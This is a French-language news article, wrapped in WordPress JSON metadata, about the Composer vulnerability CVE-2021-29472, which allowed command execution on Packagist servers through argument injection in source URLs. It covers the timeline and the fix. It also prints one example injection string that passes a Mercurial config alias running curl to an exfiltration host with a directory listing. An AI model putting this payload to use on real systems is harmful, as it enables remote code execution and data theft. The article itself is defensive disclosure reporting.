{"id":100078,"date":"2021-05-03T10:22:39","date_gmt":"2021-05-03T08:22:39","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist"},"modified":"2021-05-03T10:22:39","modified_gmt":"2021-05-03T08:22:39","slug":"uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","status":"publish","type":"post","link":"https:\/\/prohoster.info\/fr\/blog\/news\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","title":{"rendered":"Une vuln\u00e9rabilit\u00e9 dans le gestionnaire de paquets Composer permettant de compromettre le d\u00e9p\u00f4t PHP Packagist","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Une vuln\u00e9rabilit\u00e9 critique a \u00e9t\u00e9 d\u00e9tect\u00e9e dans le gestionnaire de d\u00e9pendances Composer (CVE-2021-29472), permettant l'ex\u00e9cution de commandes arbitraires dans le syst\u00e8me lors du traitement d'un paquet contenant une valeur d'URL sp\u00e9cialement format\u00e9e, d\u00e9finissant l'adresse de t\u00e9l\u00e9chargement des sources. Le probl\u00e8me se manifeste dans les composants GitDriver, SvnDriver et HgDriver, utilis\u00e9s lors de l'utilisation des syst\u00e8mes de gestion de versions Git, Subversion et Mercurial. La vuln\u00e9rabilit\u00e9 a \u00e9t\u00e9 corrig\u00e9e dans les versions Composer 1.10.22 et 2.0.13. <\/p>\n

Il est particuli\u00e8rement \u00e0 noter que le probl\u00e8me a principalement concern\u00e9 le d\u00e9p\u00f4t de paquets Packagist, utilis\u00e9 par d\u00e9faut dans Composer, qui compte 306 000 paquets pour les d\u00e9veloppeurs PHP et g\u00e8re plus de 1,4 milliard de t\u00e9l\u00e9chargements par mois. L\u2019exp\u00e9rience a montr\u00e9 qu\u2019en cas de connaissance du probl\u00e8me, des attaquants pourraient obtenir le contr\u00f4le de l'infrastructure de Packagist et intercepter les identifiants des mainteneurs, ou rediriger le t\u00e9l\u00e9chargement de paquets vers un serveur tiers, organisant ainsi la livraison de variantes de paquets avec des modifications malveillantes pour ins\u00e9rer un backdoor lors de l'installation des d\u00e9pendances. <\/p>\n

Le danger pour les utilisateurs finaux est limit\u00e9 par le fait que le contenu de composer.json est g\u00e9n\u00e9ralement d\u00e9fini par l'utilisateur lui-m\u00eame, et que les liens vers les sources sont transmis lors de l'acc\u00e8s \u00e0 des d\u00e9p\u00f4ts tiers, g\u00e9n\u00e9ralement dignes de confiance. Le principal impact a \u00e9t\u00e9 subi par le d\u00e9p\u00f4t Packagist.org et le service Private Packagist, qui invoquent Composer en transmettant des donn\u00e9es re\u00e7ues des utilisateurs. Les attaquants pouvaient ex\u00e9cuter leur code sur les serveurs de Packagist en d\u00e9posant un paquet sp\u00e9cialement con\u00e7u. <\/p>\n

L'\u00e9quipe de Packagist a corrig\u00e9 la vuln\u00e9rabilit\u00e9 dans les 12 heures suivant le rapport de celle-ci. Les chercheurs ont inform\u00e9 discr\u00e8tement les d\u00e9veloppeurs de Packagist le 22 avril et le probl\u00e8me a \u00e9t\u00e9 r\u00e9solu le m\u00eame jour. Une mise \u00e0 jour publique de Composer corrigeant la vuln\u00e9rabilit\u00e9 a \u00e9t\u00e9 publi\u00e9e le 27 avril, et les d\u00e9tails ont \u00e9t\u00e9 r\u00e9v\u00e9l\u00e9s le 28 avril. L\u2019audit des journaux sur les serveurs de Packagist n\u2019a r\u00e9v\u00e9l\u00e9 aucune activit\u00e9 suspecte li\u00e9e \u00e0 la vuln\u00e9rabilit\u00e9. <\/p>\n

Le probl\u00e8me est caus\u00e9 par une erreur dans le code de validation des URL dans le fichier composer.json racine et les liens pour le t\u00e9l\u00e9chargement des sources. L'erreur est pr\u00e9sente dans le code depuis novembre 2011. Sur Packagist, des couches sp\u00e9ciales sont utilis\u00e9es pour organiser le t\u00e9l\u00e9chargement du code sans \u00eatre li\u00e9es \u00e0 un syst\u00e8me de gestion de souces sp\u00e9cifique, ex\u00e9cut\u00e9es via un appel \u00e0 \u00ab fromShellCommandline \u00bb en passant des arguments de ligne de commande. Par exemple, pour git, la commande \u00ab git ls-remote \u2014heads $URL \u00bb est appel\u00e9e, o\u00f9 l'URL est trait\u00e9e via la m\u00e9thode \u00ab ProcessExecutor::escape($url) \u00bb, qui \u00e9chappe des constructions potentiellement dangereuses, telles que \u00ab $(…) \u00bb ou \u00ab `…`. <\/p>\n

L'essence du probl\u00e8me est que la m\u00e9thode ProcessExecutor::escape n'a pas \u00e9chapp\u00e9 la s\u00e9quence \u00ab \u2014 \u00bb, ce qui permettait d'indiquer n'importe quel param\u00e8tre suppl\u00e9mentaire dans l'URL. Une telle \u00e9chappement faisait d\u00e9faut dans les pilotes GitDriver.php, SvnDriver.php et HgDriver.php. Une attaque via GitDriver.php \u00e9tait emp\u00each\u00e9e par le fait que la commande \u00ab git ls-remote \u00bb ne supportait pas l'indication d'arguments suppl\u00e9mentaires apr\u00e8s le chemin. Une attaque sur HgDriver.php \u00e9tait possible via le param\u00e8tre \u00ab \u2014config \u00bb pass\u00e9 \u00e0 l'utilitaire \u00ab hq \u00bb, permettant d'ex\u00e9cuter n'importe quelle commande en manipulant la configuration \u00ab alias.identify \u00bb. Par exemple, pour t\u00e9l\u00e9charger et ex\u00e9cuter du code via l'utilitaire curl, il \u00e9tait possible d'indiquer : \u2014config=alias.identify=!curl http:\/\/exfiltration-host.tld \u2014data \"$(ls -alh)\". <\/p>\n

En pla\u00e7ant un paquet de test dans Packagist avec une URL similaire, les chercheurs ont v\u00e9rifi\u00e9 qu'apr\u00e8s son placement sur leur serveur, une requ\u00eate HTTP est arriv\u00e9e d'un des serveurs<\/a> Packagist dans AWS, contenant une liste des fichiers dans le r\u00e9pertoire courant.
\n
Source : opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Composer \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-29472), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c URL, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0449\u0438\u043c \u0430\u0434\u0440\u0435\u0441 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0445 \u0442\u0435\u043a\u0441\u0442\u043e\u0432. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 GitDriver, SvnDriver \u0438 HgDriver, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u044b\u0445 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c\u0438 \u0442\u0435\u043a\u0441\u0442\u0430\u043c\u0438 Git, Subversion \u0438 Mercurial. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0445 Composer 1.10.22 \u0438 2.0.13. […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-100078","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Vuln\u00e9rabilit\u00e9 dans le gestionnaire de paquets Composer, pouvant compromettre le d\u00e9p\u00f4t PHP Packagist | ProHoster","description":"Une vuln\u00e9rabilit\u00e9 critique a \u00e9t\u00e9 d\u00e9tect\u00e9e dans le gestionnaire de d\u00e9pendances Composer (CVE-2021-29472), permettant l'ex\u00e9cution de commandes arbitraires sur le syst\u00e8me lors du traitement d'un paquet avec une valeur d'URL sp\u00e9cialement form\u00e9e, d\u00e9finissant.","canonical_url":"https:\/\/prohoster.info\/fr\/blog\/news\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"fr_FR","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u043c \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 Composer, \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u044e\u0449\u0430\u044f \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044e PHP-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f Packagist | ProHoster","og:description":"\u0412 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Composer \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-29472), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c URL, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0449\u0438\u043c.","og:url":"https:\/\/prohoster.info\/fr\/blog\/news\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-05-03T08:22:39+00:00","article:modified_time":"2021-05-03T08:22:39+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"100078","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-05-03 08:26:11","updated":"2026-02-09 16:50:51","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/posts\/100078","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/comments?post=100078"}],"version-history":[{"count":1,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/posts\/100078\/revisions"}],"predecessor-version":[{"id":158822,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/posts\/100078\/revisions\/158822"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/media?parent=100078"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/categories?post=100078"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/tags?post=100078"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}